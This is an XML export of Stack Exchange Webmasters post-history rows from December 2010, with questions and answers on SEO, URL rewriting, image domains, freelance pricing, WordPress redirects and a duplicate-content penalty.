  <row Id="14434" PostHistoryTypeId="5" PostId="7168" RevisionGUID="7d69082a-e49a-4905-a956-f86edf744570" CreationDate="2010-12-28T23:07:00.980" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Should I use a file extension or not?](http://webmasters.stackexchange.com/questions/3079/should-i-use-a-file-extension-or-not)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I know this question has been asked before on Stack Overflow, but what I have not been able to find in the posts I've read are concrete references as to WHY one is better than the other (something I can take to my boss).&#xD;&#xA;&#xD;&#xA;So I'm working on an MVC 3 application that is basically a rewrite of the existing production application (web forms) using MVC. The current site uses a URL rewriter to rewrite &quot;friendly&quot; urls with HTML extensions to their ASPX counterpart.&#xD;&#xA;&#xD;&#xA;i.e. http://www.site.com/products/18554-widget.html gets rewritten to http://www.site.com/products.aspx?id=18554&#xD;&#xA;&#xD;&#xA;We're moving away from this with the MVC site, but the powers that be still want the HTML extension on the URLs. As a developer, that just feels wrong on an MVC site. I've written a quick and dirty HttpModule that will perform a 301 redirect from the .html URL to the same URL without the .html extension and it works fine, but I need to convince management that removing the .html extension is not going to hurt SEO. I'd prefer to have this sort of friendly URL:&#xD;&#xA;&#xD;&#xA;http://www.site.com/products/18554-widget&#xD;&#xA;&#xD;&#xA;Can anyone provide information to back up my position or am I actually trying to do something that WOULD hurt SEO, in which case can you provide references on that?" />
  <row Id="14435" PostHistoryTypeId="2" PostId="7172" RevisionGUID="bd684d56-4e33-4d63-8c3d-8173087a8ebc" CreationDate="2010-12-29T01:39:56.680" UserId="1714" Text="1. We want to increase the value of some of our important images by means of SEO, and&#xD;&#xA; 2. we want to start serving them from a different, i.e. cookieless, domain.&#xD;&#xA;&#xD;&#xA;We want to go from http://www.example.com/images/1234.jpg to http://www.example.com/germany/bavaria/landscape.jpg which can easily be done via URL rewriting. Then on the other hand, we would like to serve the image from a completely different domain, let's say http://www.examplestatic.com/germany/bavaria/landscape.jpg, to save the overhead of sending the cookie from www.example.com.&#xD;&#xA;&#xD;&#xA;Somehow I feel that this is not a good idea because I move the image away from the content by putting it on a different domain. Can anyone shed some light on this problem? Naturally, I would just use a different subdomain, e.g. img.example.com, but we already use subdomains for languages and our cookies are valid for all subdomains of example.com, so this won't help.&#xD;&#xA;&#xD;&#xA;I'd really appreciate any hints.&#xD;&#xA;&#xD;&#xA;Cheers," />
  <row Id="14436" PostHistoryTypeId="1" PostId="7172" RevisionGUID="bd684d56-4e33-4d63-8c3d-8173087a8ebc" CreationDate="2010-12-29T01:39:56.680" UserId="1714" Text="SEO for images: can I use a different (cookieless) domain?" />
  <row Id="14437" PostHistoryTypeId="3" PostId="7172" RevisionGUID="bd684d56-4e33-4d63-8c3d-8173087a8ebc" CreationDate="2010-12-29T01:39:56.680" UserId="1714" Text="&lt;seo&gt;&lt;images&gt;&lt;performance&gt;&lt;cookie&gt;" />
  <row Id="14438" PostHistoryTypeId="2" PostId="7173" RevisionGUID="d35782f1-23b7-4a1c-a37e-27010261c562" CreationDate="2010-12-29T02:38:54.767" UserId="1253" Text="I am assuming you are talking about SEO for image search.&#xD;&#xA;&#xD;&#xA;It's not the domain that matters, per sé, although as with web document SEO (e.g. web pages, PDFs, etc) the domain is most likely a ranking factor. The image can be on any domain you want. It's relevance for any given search term will be determined by multiple factors which includes, domain name, surrounding text, hyperlinks, etc. So, basically, the image is still on the same page as before surrounded by the same content as before, etc, so placing it on a cookieless/subdomain really shouldn't affect how an image is ranked." />
  <row Id="14439" PostHistoryTypeId="2" PostId="7174" RevisionGUID="ba2bb12a-da2f-44df-817e-fad7689f0519" CreationDate="2010-12-29T07:16:35.120" UserDisplayName="user4148" Text="What is meant by Google Local Business Listing? How it is useful for Promoting a site?" />
  <row Id="14440" PostHistoryTypeId="1" PostId="7174" RevisionGUID="ba2bb12a-da2f-44df-817e-fad7689f0519" CreationDate="2010-12-29T07:16:35.120" UserDisplayName="user4148" Text="Google Business Listing" />
  <row Id="14441" PostHistoryTypeId="3" PostId="7174" RevisionGUID="ba2bb12a-da2f-44df-817e-fad7689f0519" CreationDate="2010-12-29T07:16:35.120" UserDisplayName="user4148" Text="&lt;marketing&gt;" />
  <row Id="14442" PostHistoryTypeId="2" PostId="7175" RevisionGUID="2b140e42-92b2-43b6-816f-1928a55763ae" CreationDate="2010-12-29T07:19:15.943" UserId="4149" Text="Google business listing is solution to creating additional traffic and new business for your company and it also helps customers and clients confirm that you are a local company that actually is present.&#xD;&#xA;&#xD;&#xA;For more details on [Google local business listing Westport][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ferociousmedia.com/business-listings-management/" />
  <row Id="14443" PostHistoryTypeId="2" PostId="7176" RevisionGUID="bec044a9-8e94-412a-b3bb-91c77bdfbb8a" CreationDate="2010-12-29T07:29:48.450" UserId="4095" Text="Example other link relationships&#xD;&#xA;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;link rel='index' title='Main Title' href='http://domain.com/' /&gt;&#xD;&#xA;    &lt;link rel='start' title='Part Three' href='http://domain.com/part-3/' /&gt;&#xD;&#xA;    &lt;link rel='prev' title='Part Two' href='http://domain.com/part-2/' /&gt;&#xD;&#xA;    &lt;link rel='next' title='Part Four' href='http://domain.com/part-4/' /&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;&#xD;&#xA;Questions&#xD;&#xA;&#xD;&#xA;Have a big impact to make my site get a nice rank to Search Engine?&#xD;&#xA;" />
  <row Id="14444" PostHistoryTypeId="1" PostId="7176" RevisionGUID="bec044a9-8e94-412a-b3bb-91c77bdfbb8a" CreationDate="2010-12-29T07:29:48.450" UserId="4095" Text="Other link relationships and impact to the SEO" />
  <row Id="14445" PostHistoryTypeId="3" PostId="7176" RevisionGUID="bec044a9-8e94-412a-b3bb-91c77bdfbb8a" CreationDate="2010-12-29T07:29:48.450" UserId="4095" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;xhtml&gt;" />
  <row Id="14446" PostHistoryTypeId="5" PostId="7172" RevisionGUID="0735f697-9869-4e91-9361-d5b48f57fa72" CreationDate="2010-12-29T09:54:21.870" UserId="1714" Comment="added 525 characters in body" Text="1. We want to increase the value of some of our important images by means of SEO, and&#xD;&#xA; 2. we want to start serving them from a different, i.e. cookieless, domain.&#xD;&#xA;&#xD;&#xA;We want to go from http://www.example.com/images/1234.jpg to http://www.example.com/germany/bavaria/landscape.jpg which can easily be done via URL rewriting. Then on the other hand, we would like to serve the image from a completely different domain, let's say http://www.examplestatic.com/germany/bavaria/landscape.jpg, to save the overhead of sending the cookie from www.example.com.&#xD;&#xA;&#xD;&#xA;Somehow I feel that this is not a good idea because I move the image away from the content by putting it on a different domain. Can anyone shed some light on this problem? Naturally, I would just use a different subdomain, e.g. img.example.com, but we already use subdomains for languages and our cookies are valid for all subdomains of example.com, so this won't help.&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;We are not so much worried about the searchability of the images themselves, it's rather all about optimizing the pages they appear on. So a telling name/url for an image including a telling `alt` attribute is probably a must have - but my question is about the domain part, if it's a bad idea to use a different domain.&#xD;&#xA;&#xD;&#xA;But then again, the big players also have dedicated static content domains, e.g. images-amazon.com, ebaystatic.com, ... so there can't be anything wrong with it, can there?&#xD;&#xA;&#xD;&#xA;END UPDATE&#xD;&#xA;&#xD;&#xA;I'd really appreciate any hints.&#xD;&#xA;&#xD;&#xA;Cheers," />
  <row Id="14447" PostHistoryTypeId="2" PostId="7177" RevisionGUID="3d3e13a3-64ac-44c6-bbce-6acc265da030" CreationDate="2010-12-29T10:28:38.560" UserId="1363" Text="I have recently given some quotes to a few people. And I need some advice about how things should be done...&#xD;&#xA;&#xD;&#xA;**Q1**:&#xD;&#xA;I've seen, heard of and read about a lot of developers using free resource sites online to obtain free Privacy Policy, Disclaimers etc for their/customers websites.&#xD;&#xA;&#xD;&#xA;A customer I quoted the other day **expected** me to write/get a disclaimer for their site. Who in their right mind would expect a document like that from a Web Developer? &#xD;&#xA;&#xD;&#xA;I just told them that they need to sort that stuff out themselves with a Lawyer or something, and then to send it to me so I can paste it on a webpage for them.&#xD;&#xA;&#xD;&#xA;**Q2**:&#xD;&#xA;If you're charging per hour, and you estimate that the project would take 1week to finish (including testing/releasing), but you soon realise that you'll require more time, do you RE-quote them? Or do you just finish off the site at the original quote price?&#xD;&#xA;&#xD;&#xA;Q3:&#xD;&#xA;How do you figure out how much **you** will charge your customers? Do you charge per-feature, or per hour, or per day, or all of the above?&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="14448" PostHistoryTypeId="1" PostId="7177" RevisionGUID="3d3e13a3-64ac-44c6-bbce-6acc265da030" CreationDate="2010-12-29T10:28:38.560" UserId="1363" Text="Quoting people for website dev. work" />
  <row Id="14449" PostHistoryTypeId="3" PostId="7177" RevisionGUID="3d3e13a3-64ac-44c6-bbce-6acc265da030" CreationDate="2010-12-29T10:28:38.560" UserId="1363" Text="&lt;web-development&gt;&lt;payments&gt;&lt;legal&gt;" />
  <row Id="14450" PostHistoryTypeId="5" PostId="7175" RevisionGUID="ed7b8424-74b1-4bb1-8456-bfe24ca8bfaf" CreationDate="2010-12-29T11:08:26.233" UserId="1757" Comment="remove completely useless link (likely spam)" Text="Google business listing is solution to creating additional traffic and new business for your company and it also helps customers and clients confirm that you are a local company that actually is present." />
  <row Id="14451" PostHistoryTypeId="2" PostId="7178" RevisionGUID="93fad3a9-471c-4943-8b06-2186718ac721" CreationDate="2010-12-29T11:34:16.160" UserId="3307" Text="[Twilio costs 2c per message][1] (US only at the moment I believe). &#xD;&#xA;&#xD;&#xA;As for adverts, I just googled [SMS adverts][2] and got a load of companies that sell advertising. Maybe get in touch with a few of them and ask them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.twilio.com/pricing-signup/&#xD;&#xA;  [2]: http://www.google.co.uk/search?q=sms+adverts" />
  <row Id="14455" PostHistoryTypeId="2" PostId="7180" RevisionGUID="d24c14e2-8895-44ce-a027-dbecea8a858e" CreationDate="2010-12-29T13:36:47.677" UserId="4154" Text="I am creating a nice and niche &quot;Sex Education&quot; website. No porn, nothing offensive and no scams. I would love to place Google Adsense but they do not allow ads on adult sites.&#xD;&#xA;&#xD;&#xA;I would like to know what advertising and link-exchange like should I place on my site. My sole objective is to cover the server costs and salary of one or two persons.&#xD;&#xA;&#xD;&#xA;*(In this way, it is different from [Best alternative to Adsense for a small website?][1]).*&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1130/best-alternative-to-adsense-for-a-small-website" />
  <row Id="14456" PostHistoryTypeId="1" PostId="7180" RevisionGUID="d24c14e2-8895-44ce-a027-dbecea8a858e" CreationDate="2010-12-29T13:36:47.677" UserId="4154" Text="Adsense alternative for a &quot;Sex Education&quot; website?" />
  <row Id="14457" PostHistoryTypeId="3" PostId="7180" RevisionGUID="d24c14e2-8895-44ce-a027-dbecea8a858e" CreationDate="2010-12-29T13:36:47.677" UserId="4154" Text="&lt;google-adsense&gt;&lt;ads&gt;" />
  <row Id="14458" PostHistoryTypeId="2" PostId="7181" RevisionGUID="c516a352-1efd-4d6f-87bf-daa2b1b7525e" CreationDate="2010-12-29T13:51:09.870" UserId="1757" Text="Sexual education isn't necessarily adult content. Here in the U.S. sex ed. is taught to students in elementary school (around 4th grade, I think). So just because you use words describing genitalia or sex doesn't mean it's adult content. There are healthcare sites with sex education content that have been approved for Adsense. I'd just contact Adsense and ask them for specific guidelines for your type of site." />
  <row Id="14459" PostHistoryTypeId="14" PostId="7174" RevisionGUID="c3a0e1de-a19d-4fc8-a3c5-06f61247c55e" CreationDate="2010-12-29T14:21:18.390" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14460" PostHistoryTypeId="16" PostId="7177" RevisionGUID="c395e6b6-afe2-4a8e-a713-f6aa95a2a3cd" CreationDate="2010-12-29T14:24:56.360" UserId="1253" />
  <row Id="14461" PostHistoryTypeId="2" PostId="7182" RevisionGUID="ccf4006b-27a9-4816-a6dd-94c7a5bc8687" CreationDate="2010-12-29T14:33:20.580" UserId="2180" Text="Is it possible to center an image in a before pseudo class? &#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    .rap {background: url(&quot;img/rap.jpg&quot;) repeat-y scroll center center;}&#xD;&#xA;    .rap:before {content: url(&quot;img/rapbf.jpg&quot;);}&#xD;&#xA;&#xD;&#xA;Here I want the rapbf.jpg also centered and not only rap.jpg. " />
  <row Id="14462" PostHistoryTypeId="1" PostId="7182" RevisionGUID="ccf4006b-27a9-4816-a6dd-94c7a5bc8687" CreationDate="2010-12-29T14:33:20.580" UserId="2180" Text="Centering of image in :before pseudo class" />
  <row Id="14463" PostHistoryTypeId="3" PostId="7182" RevisionGUID="ccf4006b-27a9-4816-a6dd-94c7a5bc8687" CreationDate="2010-12-29T14:33:20.580" UserId="2180" Text="&lt;css&gt;" />
  <row Id="14464" PostHistoryTypeId="2" PostId="7183" RevisionGUID="f369cba6-a54c-4d7c-bf8e-a018d98b6b75" CreationDate="2010-12-29T14:33:57.430" UserId="1253" Text="Maybe. These tags used this way may help to associate related documents together. If they do have value I would say it is a small amount but definitely worth doing as browsers may also use these tags to help the user navigate the website." />
  <row Id="14465" PostHistoryTypeId="5" PostId="7173" RevisionGUID="bf120a22-5997-4c52-8e28-0a4757546166" CreationDate="2010-12-29T14:35:36.667" UserId="1253" Comment="added 164 characters in body" Text="I am assuming you are talking about SEO for image search.&#xD;&#xA;&#xD;&#xA;It's not the domain that matters, per sé, although as with web document SEO (e.g. web pages, PDFs, etc) the domain is most likely a ranking factor. The image can be on any domain you want. It's relevance for any given search term will be determined by multiple factors which includes, domain name, surrounding text, hyperlinks, etc. So, basically, the image is still on the same page as before surrounded by the same content as before, etc, so placing it on a cookieless/subdomain really shouldn't affect how an image is ranked.&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;Using a cookiesless subdomain for your images won't affect the rankings ranking in any way. So definitely use them for all of the benefits they offer." />
  <row Id="14469" PostHistoryTypeId="10" PostId="7182" RevisionGUID="f696e3fb-6625-4197-aacd-c0a231b8e482" CreationDate="2010-12-29T14:39:15.493" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14477" PostHistoryTypeId="2" PostId="7186" RevisionGUID="b2356f94-defb-4704-9acd-54a4a5010d6d" CreationDate="2010-12-29T16:05:21.793" UserId="4157" Text="I have a wordpress blog in http://suportrecerca.barcelonamedia.org/blog/ , and since I can no longer use our company servers for my blog I've had to move it to blog.joanmarcriera.es&#xD;&#xA;&#xD;&#xA;Google had my old blog well indexed and many people is landing to my old blog. &#xD;&#xA;I want to redirect this people to my new blog in a nice way, like a 5 seconds delay with some information or something. &#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;I also would like to let google index the old blog like usual if it's possible.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="14478" PostHistoryTypeId="1" PostId="7186" RevisionGUID="b2356f94-defb-4704-9acd-54a4a5010d6d" CreationDate="2010-12-29T16:05:21.793" UserId="4157" Text="Nice wordpress to wordpress redirect?" />
  <row Id="14479" PostHistoryTypeId="3" PostId="7186" RevisionGUID="b2356f94-defb-4704-9acd-54a4a5010d6d" CreationDate="2010-12-29T16:05:21.793" UserId="4157" Text="&lt;wordpress&gt;&lt;redirects&gt;&lt;plugin&gt;" />
  <row Id="14480" PostHistoryTypeId="2" PostId="7187" RevisionGUID="b4809daa-a2c8-45ea-8f35-1c37ca6b855a" CreationDate="2010-12-29T16:21:19.767" UserId="1253" Text="Use a [301 redirect][1]. Place this in your .htaccess file of the old URL:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?suportrecerca\.barcelonamedia\.org/blog/$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://blog.joanmarcriera.es/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;This will tell Google, and browsers and other search engines, that your site has moved locations. You will see some fluctuation in your rankings while Google makes the transition from the old site to the new site but after all is said and done your new site should replace the old site in the SERPs and retain its ranking.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=301+redirect" />
  <row Id="14481" PostHistoryTypeId="2" PostId="7188" RevisionGUID="2fb9f1ed-16e2-439c-8e11-f338aec736e5" CreationDate="2010-12-29T16:54:33.383" UserId="2907" Text="This may get moved, but I'll take a crack at it as is...&#xD;&#xA;&#xD;&#xA;Q1: I think you did the right thing. Let them know you don't want to be responsible for creating something of a legal nature b/c it's not your specialty. You could offer links to sites with disclaimers for them to view as examples...&#xD;&#xA;&#xD;&#xA;Q2: It depends on WHY it's going to take longer.If it's something YOU didn't anticipate, it's more on your end IMO. If they came back and wanted changes, then it's reasonable to charge them for the &quot;scope creep.&quot; Personally, I usually say up front the estimate is for X dollars or &quot;won't exceed&quot; a certain amount (which is usually 1.25 - 1.5 times what I would normally estimate). Then if they have changes, you say, this may add X hours to the time/cost and let them decide if it's worth it. I also think it's standard in bids to say the estimate may have a variance of up to 10%.&#xD;&#xA;&#xD;&#xA;Q3: I write down all the things they want in a site, then I try to estimate how much time each component will take with a low/high scale for complexity. Then I tie a dollar amount to the number. &#xD;&#xA;&#xD;&#xA;EG: Login feature... needs the db to be setup, pages created, forgot password, registration, etc. etc. May estimate 6-10 hours @ rate...&#xD;&#xA;&#xD;&#xA;Also, unless you're expected to walk away from the project at delivery, keep in mind they'll call you for issues. Some will be bugs that you should fix b/c it wasn't right, some will be things like &quot;we'd like this moved lower on the page&quot; and some will be new things that they forgot to have you put in. I break these into &quot;bug fixes&quot; (included in bid) &quot;grey area&quot; items that I'll do if they're quick and I'm already in doing bug fixes, and &quot;enhancements&quot; that you should charge for.&#xD;&#xA;&#xD;&#xA;Your mileage may vary." />
  <row Id="14482" PostHistoryTypeId="2" PostId="7189" RevisionGUID="c9a82669-2451-4d3b-9e5a-fc56b25dbcbf" CreationDate="2010-12-29T17:47:07.000" UserId="1757" Text="Strictly speaking, a web developer really isn't qualified to do a lot of what's required to build a website:&#xD;&#xA;&#xD;&#xA; - web design (typography, branding, UX design, IA, etc.)&#xD;&#xA; - marketing (copywriting, SEO, SEM, etc.)&#xD;&#xA; - miscellaneous support (hosting, maintenance, employee training, legal, internationalization, etc.)&#xD;&#xA;&#xD;&#xA;This is one of the reasons why a lot of businesses opt to hire an interactive/digital agency or full-service design studio.&#xD;&#xA;&#xD;&#xA;Also, even though a client might say they want a &quot;website&quot;, what they're really looking for 99% of the time is a business solution that includes a website. They don't want to separately hire a web developer, a graphic designer, an online marketing expert, a copywriter, a lawyer, etc. And, especially if this is their first website, they probably don't even know half of the stuff required to create &amp; run a successful website.&#xD;&#xA;&#xD;&#xA;So it's not that crazy that a client might expect you to hand over a completed website even though all you know how to do is write code. Most freelance web developers end up having to do some copywriting and other tasks not specifically related to development. Is it the best arrangement? No, probably not. But that's the reality of freelance web development since most freelance web developers try to sell themselves as a *one-man web studio*.&#xD;&#xA;&#xD;&#xA;Personally, I discourage most business owners from hiring a web developer. Developers should be hired by web development studios or digital agencies, since web development as a skillset isn't particularly useful by itself to the average business.&#xD;&#xA;&#xD;&#xA;But if you want to be a freelance &quot;web developer&quot;, then you need to be flexible and take the initiative to solve these peripheral problems yourself. Client needs a legal disclaimer? Get a free one or purchase one for them. Client needs a great design? Hire or partner up with a designer. Client needs good web copy? Learn how to write or find someone else who can.&#xD;&#xA;&#xD;&#xA;If you're going to take the &quot;I'm only going to do the coding&quot; approach and leave the client to figure out how to register a domain and find a web host on their own, then you're going to lose out on a lot of potential clients." />
  <row Id="14483" PostHistoryTypeId="5" PostId="7158" RevisionGUID="f4f0f8c8-f8f6-4259-8836-a7418c55f6e7" CreationDate="2010-12-29T18:28:56.993" UserId="2293" Comment="added 2141 characters in body" Text="Use a rel=&quot;canonical&quot; link tag. It exists for this purpose. It was suggested first by google, but whatwg and w3c are in ways to approve it as spec.&#xD;&#xA;&#xD;&#xA;Per your comments on @danlefree answer, your concern maybe related to URL rewriting to user-friendly URLs, ie, you are used to http://www.domain.tld/apples/weight/, instead of  using http://www.domain.tld/items.php?id=23&amp;sort=weight.&#xD;&#xA;&#xD;&#xA;Well, one way or another will reach the same script, set same application variables and output same content.&#xD;&#xA;&#xD;&#xA;Just make sure you have the same (your preferred) URL on all related pages (for example, every same item, regardless sorting order, in my example could be http://www.domain.tld/apples/).&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;Going further on discussion...&#xD;&#xA;&#xD;&#xA;First, Matt Cutts is a great guy, I have nothing against his person, but never, NEVER take anything as the holy grail. It maybe a good proposal, but your judgement must be the final word - not any person, despite his/her position and qualification.&#xD;&#xA;&#xD;&#xA;Let's get back to your example. Assumptions:&#xD;&#xA;&#xD;&#xA; - You have a products listing page&#xD;&#xA; - Per default it sorts by ID&#xD;&#xA; - **Users** can choose to sort by *stock quantity*, *price* or *size*&#xD;&#xA; - Each page shows **3 items**&#xD;&#xA; - you currently have **12 different items** to be listed.&#xD;&#xA; - prices and stock quantities can vary along the time&#xD;&#xA;&#xD;&#xA;OK, now if user enter you page he will see the lists:&#xD;&#xA;&#xD;&#xA; - Default: 1 2 3 - 4 5 6 - 7 8 9 - 10 11 12&#xD;&#xA; - By Price: 6 11 1 - 3 4 7 - 2 9 12 - 10 8 3&#xD;&#xA; - By Stock: 3 2 1 - 6 4 5 - 8 9 7 - 11 12 10&#xD;&#xA; - By Size: ...&#xD;&#xA;&#xD;&#xA;Are you sure you want different sorting pages to be crawled? I mean, unless you change other page contents, like title tag like:&#xD;&#xA;&#xD;&#xA;    &lt;!-- canonical --&gt;&#xD;&#xA;    &lt;title&gt;Joe's Store - Products list&lt;/title&gt;&#xD;&#xA;    &lt;!-- sorted by price --&gt;&#xD;&#xA;    &lt;title&gt;Joe's Store - Products list - cheaper first!&lt;/title&gt;&#xD;&#xA;&#xD;&#xA;I agree, that sorting can generate a different content, but it should no be crawled and indexed if what changes is only **the user sorting preferences**. If you are going to provide another title, meta tags and so on, then I think it worth while keep everything as different, otherwise, canonical use is recommended.&#xD;&#xA;&#xD;&#xA;Of course, no follow on sorting links also works and very well, but you should not rely just on them.&#xD;&#xA;&#xD;&#xA;Let's go to my point:&#xD;&#xA;&#xD;&#xA; - First, think on users&#xD;&#xA; - Second, make sure your markup is as good as possible (this include, rel=&quot;nofollow&quot; on the right bodycopy anchors, link rel=&quot;canonical&quot;, meta noindex on head)&#xD;&#xA; - Third, use the tools you have like robots.txt, sitemaps.xml and google webmaster tools&#xD;&#xA;&#xD;&#xA;Why all this? Because you should worry first with your users. Then, if your page is well written, and last about crawlers. If your page is really well written, not only users and google will appreciate that, but other search engines and tools." />
  <row Id="14484" PostHistoryTypeId="2" PostId="7190" RevisionGUID="2dbac4e8-4243-4125-af13-a90ad61111a1" CreationDate="2010-12-29T19:04:47.213" UserId="2293" Text="Organization is something awesome, almost priceless. This is the base not matter if you are a single-man-studio or a studio owner.&#xD;&#xA;&#xD;&#xA;The problem is most small business, where most freelancers market is, don't want to or can't hire a studio.&#xD;&#xA;&#xD;&#xA;If you want to be a freelancer, first learn how much time each task takes. Having a schedule is vital. Also, keep in touch with some partners. If you are better with design, meet a coder. If you are better with coding, meet a designer. If you need someone to write, look up for a just-graduate journalist or a seasoned web writer. Need a lawyer? Meet one.&#xD;&#xA;&#xD;&#xA;You will probably need to know:&#xD;&#xA;&#xD;&#xA; - a programmer&#xD;&#xA; - a (web)designer&#xD;&#xA; - a (web)writer&#xD;&#xA; - a vector illustrator/photo editing&#xD;&#xA; - a photograph&#xD;&#xA;&#xD;&#xA;You can be one of them (maybe two), but for the rest, is better to hire/partner up, as said by Lesè Majesté.&#xD;&#xA;&#xD;&#xA;All this was for your **Q1**.&#xD;&#xA;&#xD;&#xA;**For Q2:**&#xD;&#xA;You need to be sharp when starting a new job. I recommend start with a really damn good quiz to your client. What he want/need? How better this is answered, better will be your time estimative.&#xD;&#xA;&#xD;&#xA;Second step is to document this (contract), and make a schedule. If your job takes longer due some reason that regards you or your partners, you should not charge, because it was your mistake.&#xD;&#xA;&#xD;&#xA;If you miss the job dead line due a client's request, then this should be charged. Not charged, but documented. A client a two days to deliver wants a lot of features he didn't asked before? New estimative, new contract, new charge. Changing mind is his/her problem (but make sure you offered, or most covered offering those things on first meeting).&#xD;&#xA;&#xD;&#xA;Q3:&#xD;&#xA;Charge per job. And sub-jobs.&#xD;&#xA;your designer partner charges $10/hour and will take:&#xD;&#xA;&#xD;&#xA; - 4 hours to mockup&#xD;&#xA; - 3 hours to finished skeleton&#xD;&#xA; - 2 hours editing photos&#xD;&#xA;&#xD;&#xA;your photographer charges $200 per session (4-8 hours) and will:&#xD;&#xA;&#xD;&#xA; - 2 sessions in different days to click client products and store.&#xD;&#xA;&#xD;&#xA;your writer charges $30 per '1500' words...&#xD;&#xA;&#xD;&#xA;programming usually charges per feature, per hour or per job. What you feel comfortable. But be truly with yourself does not charge per hour if you aren't a seasoned developer. In this case is better charge per job." />
  <row Id="14485" PostHistoryTypeId="2" PostId="7191" RevisionGUID="e1ebc49f-13f2-4a11-ac4c-6bbf9e8ab9ca" CreationDate="2010-12-29T19:08:04.937" UserId="4159" Text="I have a blog ([http://blog.brodzinski.com][1]), which is wordpress.org blog with pretty popular Thesis theme with almost no other customizations. Some time ago it was penalized by Google search - it simply stopped appearing in search results even for search terms it used to be top result, like my name - Pawel Brodzinski - which isn't anything close to popular search term.&#xD;&#xA;&#xD;&#xA;To be exact the site has been penalized on Nov 18. It started popping up in search result on Dec 23 but only for a few days. Since Dec 27 it is out again.&#xD;&#xA;&#xD;&#xA;* I know Google guidelines and I'm not aware to break any of them.&#xD;&#xA;* I submitted reconsideration request after I noticed penalty. It was proceeded and there was no change whatsoever (no surprise as it seems the site was penalized again).&#xD;&#xA;* I checked diagnostics in webmaster tools and neither any malware was detected nor any strange search terms popped up.&#xD;&#xA;* I read related threads on Google webmasters forum but found none of solutions working for me.&#xD;&#xA;* I posted a thread on Google webmasters forum ([http://www.google.com/support/forum/p/Webmasters/thread?tid=546339f49d4a03bc&amp;hl=en][2]) and the only answer I got was to check for duplicate content. Well, there is some duplicate content published on the web but it is true for vast majority of blogs and it doesn't seem to be a reason for a penalty. Also before Dec 27 I was able to remove duplicate content from a couple of sites which were republishing my feed but this doesn't change the situation - the site was penalized again.&#xD;&#xA;&#xD;&#xA;The problem is I have no idea what can be wrong with the website or how to find it out.&#xD;&#xA;&#xD;&#xA;To make the problem worse I'm no webmaster, I just run a wordpress blog, which supposed to be easy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.brodzinski.com&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/Webmasters/thread?tid=546339f49d4a03bc&amp;hl=en" />
  <row Id="14486" PostHistoryTypeId="1" PostId="7191" RevisionGUID="e1ebc49f-13f2-4a11-ac4c-6bbf9e8ab9ca" CreationDate="2010-12-29T19:08:04.937" UserId="4159" Text="Wordpress blog penalized by Google search - what's wrong?" />
  <row Id="14487" PostHistoryTypeId="3" PostId="7191" RevisionGUID="e1ebc49f-13f2-4a11-ac4c-6bbf9e8ab9ca" CreationDate="2010-12-29T19:08:04.937" UserId="4159" Text="&lt;seo&gt;&lt;wordpress&gt;" />
  <row Id="14488" PostHistoryTypeId="2" PostId="7192" RevisionGUID="60d4ccfc-a264-4dd0-b2d6-6053fcca23ba" CreationDate="2010-12-29T20:23:19.853" UserId="3142" Text="Pawel, **your site does seem to be suffering from a duplicate content penalty.**&#xD;&#xA;&#xD;&#xA;I did a quick Google search using quotes using a few different strings of text, each about 20+ words in length, each seemingly unique (i.e. not &quot;spun&quot; content, or database sourced).&#xD;&#xA;&#xD;&#xA;**For example (Google query text):**&#xD;&#xA;&#xD;&#xA;    &quot;So you managed to get your managerial position. You killed all those &#xD;&#xA;    monsters along the way with you RPG. You solved extraordinarily difficult&#xD;&#xA;    logical puzzles. You sneaked through all deadly traps set by the most evil&#xD;&#xA;    characters the world has ever seen. And now you’re here – a manager. The&#xD;&#xA;    manager I should say. Now&quot;&#xD;&#xA;&#xD;&#xA;Google results point me, each time, to about 15 pages with the exact same string of text.&#xD;&#xA;&#xD;&#xA;There is a good question/answer on this Stack Exchange site which explains [how to fix a penalty due to duplicate content.][1] It's at the following URL:&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/3119/does-duplicate-content-on-another-site-affect-my-ranking&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3119/" />
  <row Id="14489" PostHistoryTypeId="2" PostId="7194" RevisionGUID="afb78154-b963-4335-9c5c-eb867acec7ec" CreationDate="2010-12-28T02:24:57.157" UserDisplayName="Nikit" Text="1. main is of course, reading carefully UPGRADE.txt in distr of d7;&#xD;&#xA;2. Find all contrib.modules installed on your site, that should have port to d7;&#xD;&#xA;3. http://drupal.org/update/theme for upgrading your theme;&#xD;&#xA;4. http://drupal.org/update/modules if you have custom module;&#xD;&#xA;5. create clone of your site for testing upgrade." />
